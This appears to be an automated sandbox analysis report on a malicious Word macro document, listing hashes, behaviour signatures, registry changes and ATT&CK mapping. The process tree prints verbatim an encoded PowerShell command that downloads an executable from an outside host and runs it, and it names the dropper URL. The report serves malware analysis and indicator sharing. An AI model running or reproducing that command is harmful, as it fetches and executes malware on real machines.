b9c87683d4000e24d419ebe199d2c55dbb9757d5cc8f4e6d9a0295e963cbb07c

General

Target

3fce454b_by_Libranalysis.doc
Size

43KB
MD5

3fce454b5a5ba7d73cc2b2560f69a48a
SHA1

b9321f7d1bbb1e020b03b676bd23d53e9ff6c17e
SHA256

b9c87683d4000e24d419ebe199d2c55dbb9757d5cc8f4e6d9a0295e963cbb07c
SHA512

fc35cb2957f15a3cdadf282c1b6d0f876dd710061d7c645618b83a394171723d24ddfecc64d721cb2cb1745e44a283dcc7278d6da9f3a67465e2cb8e760eb943

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://atlantastunttruckdrivers.com/Denight.exe

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process	1700	1496	cmd.exe	WINWORD.EXE

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

6 1652 powershell.exe
Downloads MZ/PE file
Drops file in Windows directory 1 IoCs

Processes:

WINWORD.EXE

description ioc process

File opened for modification C:\Windows\Debug\WIA\wiatrace.log WINWORD.EXE
Office loads VBA resources, possible macro or embedded object present

flow	pid	process
6	1652	powershell.exe

description	ioc	process
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	WINWORD.EXE

Modifies Internet Explorer settings 1 TTPs 9 IoCs

adware spyware

Modify Registry

T1112

Processes:

WINWORD.EXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Toolbar	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

WINWORD.EXE

pid process

1496 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

1652 powershell.exe
1652 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1652 powershell.exe

pid	process
1652	powershell.exe
1652	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1652	powershell.exe

Suspicious use of SetWindowsHookEx 16 IoCs

Processes:

WINWORD.EXE

pid	process
1496	WINWORD.EXE
1496	WINWORD.EXE
1496	WINWORD.EXE
1496	WINWORD.EXE
1496	WINWORD.EXE
1496	WINWORD.EXE
1496	WINWORD.EXE
1496	WINWORD.EXE
1496	WINWORD.EXE
1496	WINWORD.EXE
1496	WINWORD.EXE
1496	WINWORD.EXE
1496	WINWORD.EXE
1496	WINWORD.EXE
1496	WINWORD.EXE
1496	WINWORD.EXE

Suspicious use of WriteProcessMemory 16 IoCs

Processes:

WINWORD.EXEcmd.execmd.exe

description	pid	process	target process
PID 1496 wrote to memory of 1700	1496	WINWORD.EXE	cmd.exe
PID 1496 wrote to memory of 1700	1496	WINWORD.EXE	cmd.exe
PID 1496 wrote to memory of 1700	1496	WINWORD.EXE	cmd.exe
PID 1496 wrote to memory of 1700	1496	WINWORD.EXE	cmd.exe
PID 1700 wrote to memory of 1636	1700	cmd.exe	cmd.exe
PID 1700 wrote to memory of 1636	1700	cmd.exe	cmd.exe
PID 1700 wrote to memory of 1636	1700	cmd.exe	cmd.exe
PID 1700 wrote to memory of 1636	1700	cmd.exe	cmd.exe
PID 1636 wrote to memory of 1652	1636	cmd.exe	powershell.exe
PID 1636 wrote to memory of 1652	1636	cmd.exe	powershell.exe
PID 1636 wrote to memory of 1652	1636	cmd.exe	powershell.exe
PID 1636 wrote to memory of 1652	1636	cmd.exe	powershell.exe
PID 1496 wrote to memory of 1356	1496	WINWORD.EXE	splwow64.exe
PID 1496 wrote to memory of 1356	1496	WINWORD.EXE	splwow64.exe
PID 1496 wrote to memory of 1356	1496	WINWORD.EXE	splwow64.exe
PID 1496 wrote to memory of 1356	1496	WINWORD.EXE	splwow64.exe

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\3fce454b_by_Libranalysis.doc"
1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1496

C:\Windows\SysWOW64\cmd.exe
cmd /c cmd /c powershell.exe -encodedCommand KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAOgAvAC8AYQB0AGwAYQBuAHQAYQBzAHQAdQBuAHQAdAByAHUAYwBrAGQAcgBpAHYAZQByAHMALgBjAG8AbQAvAEQAZQBuAGkAZwBoAHQALgBlAHgAZQAnACwAKAAkAGUAbgB2ADoAYQBwAHAAZABhAHQAYQApACsAJwBcAEcAZABSAHIAWQBDAC4AZQB4AGUAJwApADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAJABlAG4AdgA6AGEAcABwAGQAYQB0AGEAXABHAGQAUgByAFkAQwAuAGUAeABlAA==
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1700

C:\Windows\SysWOW64\cmd.exe
cmd /c powershell.exe -encodedCommand KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAOgAvAC8AYQB0AGwAYQBuAHQAYQBzAHQAdQBuAHQAdAByAHUAYwBrAGQAcgBpAHYAZQByAHMALgBjAG8AbQAvAEQAZQBuAGkAZwBoAHQALgBlAHgAZQAnACwAKAAkAGUAbgB2ADoAYQBwAHAAZABhAHQAYQApACsAJwBcAEcAZABSAHIAWQBDAC4AZQB4AGUAJwApADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAJABlAG4AdgA6AGEAcABwAGQAYQB0AGEAXABHAGQAUgByAFkAQwAuAGUAeABlAA==
3⤵
- Suspicious use of WriteProcessMemory
PID:1636

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -encodedCommand KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAOgAvAC8AYQB0AGwAYQBuAHQAYQBzAHQAdQBuAHQAdAByAHUAYwBrAGQAcgBpAHYAZQByAHMALgBjAG8AbQAvAEQAZQBuAGkAZwBoAHQALgBlAHgAZQAnACwAKAAkAGUAbgB2ADoAYQBwAHAAZABhAHQAYQApACsAJwBcAEcAZABSAHIAWQBDAC4AZQB4AGUAJwApADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAJABlAG4AdgA6AGEAcABwAGQAYQB0AGEAXABHAGQAUgByAFkAQwAuAGUAeABlAA==
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1652

C:\Windows\splwow64.exe
C:\Windows\splwow64.exe 12288
2⤵
PID:1356

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/1356-67-0x0000000000000000-mapping.dmp

Download
memory/1356-70-0x000007FEFC051000-0x000007FEFC053000-memory.dmp

Filesize
8KB

Download
memory/1496-61-0x00000000705D1000-0x00000000705D3000-memory.dmp

Filesize
8KB

Download
memory/1496-62-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/1496-93-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/1496-60-0x0000000072B51000-0x0000000072B54000-memory.dmp

Filesize
12KB

Download
memory/1636-64-0x0000000000000000-mapping.dmp

Download
memory/1652-65-0x0000000000000000-mapping.dmp

Download
memory/1652-74-0x0000000004880000-0x0000000004881000-memory.dmp

Filesize
4KB

Download
memory/1652-69-0x00000000048E0000-0x00000000048E1000-memory.dmp

Filesize
4KB

Download
memory/1652-66-0x00000000767B1000-0x00000000767B3000-memory.dmp

Filesize
8KB

Download
memory/1652-72-0x00000000048A2000-0x00000000048A3000-memory.dmp

Filesize
4KB

Download
memory/1652-71-0x00000000048A0000-0x00000000048A1000-memory.dmp

Filesize
4KB

Download
memory/1652-73-0x00000000024E0000-0x00000000024E1000-memory.dmp

Filesize
4KB

Download
memory/1652-68-0x0000000002150000-0x0000000002151000-memory.dmp

Filesize
4KB

Download
memory/1652-77-0x0000000005640000-0x0000000005641000-memory.dmp

Filesize
4KB

Download
memory/1652-82-0x000000007EF30000-0x000000007EF31000-memory.dmp

Filesize
4KB

Download
memory/1652-83-0x0000000006040000-0x0000000006041000-memory.dmp

Filesize
4KB

Download
memory/1652-84-0x00000000060B0000-0x00000000060B1000-memory.dmp

Filesize
4KB

Download
memory/1652-91-0x0000000006200000-0x0000000006201000-memory.dmp

Filesize
4KB

Download
memory/1652-92-0x00000000062E0000-0x00000000062E1000-memory.dmp

Filesize
4KB

Download
memory/1700-63-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

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Downloads